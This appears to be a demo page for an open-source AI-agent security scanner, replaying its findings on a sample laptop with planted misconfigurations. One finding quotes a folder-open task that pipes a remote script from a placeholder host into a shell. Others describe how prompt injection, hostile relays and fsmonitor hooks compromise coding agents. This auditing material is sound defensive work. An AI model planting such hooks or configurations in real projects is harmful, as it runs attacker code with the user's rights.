Interactive demo
See what an audit finds, on a machine that isn't yours.
A sample developer laptop with problems planted in it: an outdated Claude Code, a key in an agent's session history, unpinned and archived MCP servers, a repo that runs code when opened, a Codex config pointed at a relay with the sandbox off. Scan it, then fix each finding.
Sample machine with planted problems. Nothing here is real, and nothing runs on your computer. This page replays the real output of asca 0.5.0 on sample data (report files at 4a1d778). Every finding, path and fix below is exactly what asca reported.
Demo laptop · /home/demo
What asca looks at
Agents installed
- Claude Code 2.1.128 (CLI) 6 KNOWN VULN.
/home/demo/.npm-global/lib/node_modules/@anthropic-ai/claude-code/package.json
Agent and MCP configs
/home/demo/.claude/settings.json/home/demo/.codex/config.toml/home/demo/.config/Claude/claude_desktop_config.json/home/demo/.config/Code/User/mcp.json
Cloned repos
/home/demo/work
Agent session history
/home/demo/.claude/projects
Python environment
/home/demo/work/take-home/.venv/lib/python3.12/site-packages
Git config
/home/demo/.gitconfig
Desktop and Downloads
/home/demo/Desktop/home/demo/Downloads
$ python3 -m asca demo asca 0.5.0: FAIL (fail-on high) critical=1 high=8 medium=3 low=0 info=1 suppressed=0 agents on this host: ⚠️ Claude Code 2.1.128 (CLI): 6 known vulnerabilities (worst: high) [CRITICAL] core.fsmonitor names a program git runs on every index refresh /home/demo/work/take-home/.git/config:3 [HIGH] Codex looks reconfigured by a relay: endpoint override plus unsafe sandbox/approvals /home/demo/.codex/config.toml#model_providers.cheap.base_url [HIGH] Codex: sandbox_mode = "danger-full-access" (top level) /home/demo/.codex/config.toml#sandbox_mode [HIGH] Claude Code 2.1.128 is affected by 6 known vulnerabilities (4 high, 1 medium, 1 low) /home/demo/.npm-global/lib/node_modules/@anthropic-ai/claude-code/package.json [HIGH] MCP server `browser` runs an archived package that will never be patched /home/demo/.config/Code/User/mcp.json#servers.browser [HIGH] MCP server `files` runs an unpinned package /home/demo/.config/Claude/claude_desktop_config.json#mcpServers.files [HIGH] demo_boot.pth runs code at every Python start (venv /home/demo/work/take-home/.venv) /home/demo/work/take-home/.venv/lib/python3.12/site-packages/demo_boot.pth [HIGH] VS Code/Cursor task "setup" on folder open runs a command (local to this checkout (not committed)) /home/demo/work/take-home/.vscode/tasks.json#tasks[0] [HIGH] Anthropic API key saved in agent session history /home/demo/.claude/projects report: asca-report.md (asca-report.json)
-
CRITICAL
core.fsmonitor names a program git runs on every index refresh
/home/demo/work/take-home/.git/config:3Any
git status/git diff— including the ones agents run silently to orient themselves — executes this command with your privileges (GitSpawn; CVE-2026-71963 Hermes Agent, CVE-2026-19592 Codex, CVE-2026-72718 goose). Value:echo asca-demo-never-runs(scope: repo).fix: If you did not set this yourself, treat the repo as hostile: do not open it in an agent. Remove it without running git in the repo (edit .git/config by hand) or
git config --unset core.fsmonitorfrom a safe shell. Upgrade agents to patched versions. -
HIGH
Codex looks reconfigured by a relay: endpoint override plus unsafe sandbox/approvals
/home/demo/.codex/config.toml#model_providers.cheap.base_urlThis is the combination Symantec observed (https://www.security.com/threat-intelligence/openai-claude-unauthorized-relays). Files: /home/demo/.codex/config.toml#model_providers.cheap.base_url, /home/demo/.codex/config.toml#sandbox_mode.
fix: If you didn't set this up on purpose, restore the vendor defaults (delete the override), log out and back in to the CLI, rotate the API key/token it used, and check how the change got there (a one-line 'setup' script from a reseller is the known pattern).
-
HIGH
Codex: sandbox_mode = "danger-full-access" (top level)
/home/demo/.codex/config.toml#sandbox_modeWith the sandbox or approvals off, anything the model decides to run executes with your full user rights, including whatever a prompt injection or a malicious endpoint tells it to.
fix: Use the vendor default (Codex
workspace-write, Claude Codedefaultpermissions, Hermessmartapprovals). Keep full access to throwaway containers, and accept it in the baseline there. -
HIGH
Claude Code 2.1.128 is affected by 6 known vulnerabilities (4 high, 1 medium, 1 low)
/home/demo/.npm-global/lib/node_modules/@anthropic-ai/claude-code/package.jsonGHSA-5j29-h97v-84ch (CVE-2026-103435) high: Arbitrary File Write via Write-Time Symlink Following (TOCTOU) in Claude Code; GHSA-5xjx-9qx6-jcrv (CVE-2026-88968) high: Claude Code: TOCTOU Race in Edit Tool Allows File Writes Outside the Workspace; GHSA-7835-87q9-rgvv (CVE-2026-55607) high: Claude Code: Sandbox Escape via Git Worktree Path Confusion Allows Unsandboxed Code Execut; GHSA-pq7j-f95f-qfcv (CVE-2026-86063) high: Claude Code: Plugin Hash Pin Bypass Allows Bypass of Hash Pinning; GHSA-fg94-h982-f3mm (CVE-2026-54316) medium: Claude Code: Out-of-Band Data Exfiltration via Pre-Approved HuggingFace Domain in WebFetch; GHSA-gfvf-j8jh-jxxw (CVE-2026-103012) low: Managed Settings Not Applied When a Stored API Key Was Preferred Over Enterprise Sign-In. Only in the vendor's repository advisories, not in OSV or the global database: GHSA-5j29-h97v-84ch, GHSA-gfvf-j8jh-jxxw. Version read from /home/demo/.npm-global/lib/node_modules/@anthropic-ai/claude-code/package.json (nothing was run). Table reviewed 2026-11-30.
fix: Upgrade Claude Code to 2.1.260 or later:
claude update(native installer) ornpm install -g @anthropic-ai/claude-code@latest. -
HIGH
MCP server
browserruns an archived package that will never be patched/home/demo/.config/Code/User/mcp.json#servers.browser@modelcontextprotocol/server-puppeteeris unmaintained: no security fixes or releases will come. Listed in https://github.com/modelcontextprotocol/servers-archived. A prompt injection can make it start any process instead of the browser (Glow Labs, MCPhantom); the maintainers closed the report as out of scope and won't fix it. Pinning a version doesn't help here, because no fixed version will ever exist. Coding agents still pick these names from their training data (Glow Labs, MCPhantom: https://www.glow.io/blogs/mcphantom-ai-coding-agents-are-installing-vulnerable-deprecated-mcp-servers-from-training-data).fix: Remove this server from the config and use Microsoft's maintained Playwright server,
@playwright/mcpinstead. Tell your agent to check a server's maintenance status before installing one. -
HIGH
MCP server
filesruns an unpinned package/home/demo/.config/Claude/claude_desktop_config.json#mcpServers.files@modelcontextprotocol/server-filesystem— npx fetches the latest matching release from the npm registry on each start; a hijacked maintainer account or typosquat ships straight into your agent. MCP servers run with your agent's privileges and see its tool traffic.fix: Pin an exact, reviewed version:
@modelcontextprotocol/server-filesystem@<exact-version>. -
HIGH
demo_boot.pth runs code at every Python start (venv /home/demo/work/take-home/.venv)
/home/demo/work/take-home/.venv/lib/python3.12/site-packages/demo_boot.pthNo installed package claims this file (not in any RECORD), so pip didn't put it there. First line:
import demo_bootfix: If you can't explain it: Don't run Python in that environment until you know where this came from (pip itself would run it). Delete the environment and rebuild it from a pinned lockfile; if the hook ran, rotate every credential the user can read (cloud, SSH, agent .env, browser).
-
HIGH
VS Code/Cursor task "setup" on folder open runs a command (local to this checkout (not committed))
/home/demo/work/take-home/.vscode/tasks.json#tasks[0]curl -s https://example.invalid/setup.sh | sh. This file is local to this checkout (not committed). It usescurl, which is how hooks fetch or send data.fix: Read the command (and any script it calls) before opening this repo with the agent. Remove the hook if you don't need it. Hooks you wrote yourself can be accepted in the baseline; a changed command gets a new fingerprint and is reported again.
-
HIGH
Anthropic API key saved in agent session history
/home/demo/.claude/projectssk-a… (len=57, sha256:9b44d4fe) appears 1 time(s) in 1 transcript file(s) (Claude Code transcripts). Examples: /home/demo/.claude/projects/demo-project/session.jsonl:1. Usually the agent's own tool output (it read a .env or printed a config); any later skill or agent that reads past sessions gets the key.
fix: Rotate the key now: moving it out of .env (or deleting the file the agent read) does not remove the copies already saved in transcripts. Then delete or redact the old transcripts that contain it, restrict their permissions (chmod 700 on the history directory), and shorten the agent's history/transcript retention or disable persistence where the agent offers a setting. Steps: Anthropic: create a new key and delete this one at https://console.anthropic.com/settings/keys, then check Usage for spend you don't recognise.
-
MEDIUM
Codex uses a non-default model endpoint (relay.example.invalid)
/home/demo/.codex/config.toml#model_providers.cheap.base_urlmodel_providers.cheap=relay.example.invalid. Whoever runs this endpoint sees everything the agent sends and chooses what it gets back, which is enough to steer a coding agent (HiddenLayer, 'Man-in-the-Model').fix: Fine if it's your company gateway or a provider you chose; accept it in the baseline. Otherwise remove the override and rotate the key it used.
-
MEDIUM
Startup module nobody installed: demo_boot.pth → demo_boot.py (venv /home/demo/work/take-home/.venv)
/home/demo/work/take-home/.venv/lib/python3.12/site-packages/demo_boot.pyNo installed package lists it in RECORD.
demo_boot.pthimports it at every Python start, pip included.fix: Don't run Python in that environment until you know where this came from (pip itself would run it). Delete the environment and rebuild it from a pinned lockfile; if the hook ran, rotate every credential the user can read (cloud, SSH, agent .env, browser).
-
MEDIUM
Database password in a command (local or private host) saved in a Claude Code allow rule
/home/demo/.claude/settings.json#permissions.allow[1]Bash(PGPASSWORD=asca… (len=20, sha256:6031139e) psql -h db.example.invalid -U app:*). Claude Code saved this command verbatim when it was approved, and it's re-sent to the model in every session that loads these settings. The host looks local or private, but the password still works for anyone on that network.fix: 1) Rotate the credential first: removing it doesn't clear git history, forks or clones. 2) If the file is committed:
git rm --cached .claude/settings.local.jsonand add.claude/settings.local.jsonto the repo's .gitignore. 3) Delete the rule (or the auto-approve entry). 4) Keep secrets in environment variables and use$VARin commands, so the saved rule holds no secret. 5) Approve patterns likeBash(npm run:*)instead of literal commands. -
INFO
MCP server
browseris pinned to @modelcontextprotocol/server-puppeteer 0.6.2, but its dependencies aren't/home/demo/.config/Code/User/mcp.json#servers.browsernpxresolves the server's dependencies again from the registry whenever it rebuilds its cache, within whatever ranges the package allows. Corelight saw one MCP server pinned to one release run with 15 different dependency sets over 19 builds in five weeks. A malicious dependency release only has to be live during one rebuild.fix: Freeze it: run the server from a local install from the package's lockfile (
npm ciin a dedicated folder) or a container image pinned by digest, and point the agent config at that. Someone then owns updates on purpose.
After every fix: the re-scan
asca run again on the same laptop once each planted problem was fixed. What's left is information, not a failure.
$ python3 -m asca demo asca 0.5.0: PASS (fail-on high) critical=0 high=0 medium=0 low=0 info=2 suppressed=0 agents on this host: ✅ Claude Code 2.99.0 (CLI): no known vulnerabilities report: asca-report.md (asca-report.json)
-
INFO
MCP server
filesis pinned to @modelcontextprotocol/server-filesystem 2025.8.21, but its dependencies aren't/home/demo/.config/Claude/claude_desktop_config.json#mcpServers.filesnpxresolves the server's dependencies again from the registry whenever it rebuilds its cache, within whatever ranges the package allows. Corelight saw one MCP server pinned to one release run with 15 different dependency sets over 19 builds in five weeks. A malicious dependency release only has to be live during one rebuild.fix: Freeze it: run the server from a local install from the package's lockfile (
npm ciin a dedicated folder) or a container image pinned by digest, and point the agent config at that. Someone then owns updates on purpose. -
INFO
MCP server
browseris pinned to @playwright/mcp 0.0.41, but its dependencies aren't/home/demo/.config/Code/User/mcp.json#servers.browsernpxresolves the server's dependencies again from the registry whenever it rebuilds its cache, within whatever ranges the package allows. Corelight saw one MCP server pinned to one release run with 15 different dependency sets over 19 builds in five weeks. A malicious dependency release only has to be live during one rebuild.fix: Freeze it: run the server from a local install from the package's lockfile (
npm ciin a dedicated folder) or a container image pinned by digest, and point the agent config at that. Someone then owns updates on purpose.
Run it on your own machine
Free and open source
Read-only, no network by default, Python 3.10+ with nothing to install. Start with the same demo, then scan your own setup:
$ git clone https://github.com/borabaysal/Agent_Supply_Chain_Auditor $ cd Agent_Supply_Chain_Auditor $ python3 -m asca demo $ python3 -m asca --repos ~/Projects
Change ~/Projects to where your code lives.
Have it done for you
Agent Security Audit
£1,500
Fixed price, about 5 working days, remote and read-only. The tool's findings plus a manual identity and access review, a prioritised plan, a walkthrough call and a re-scan after 30 days.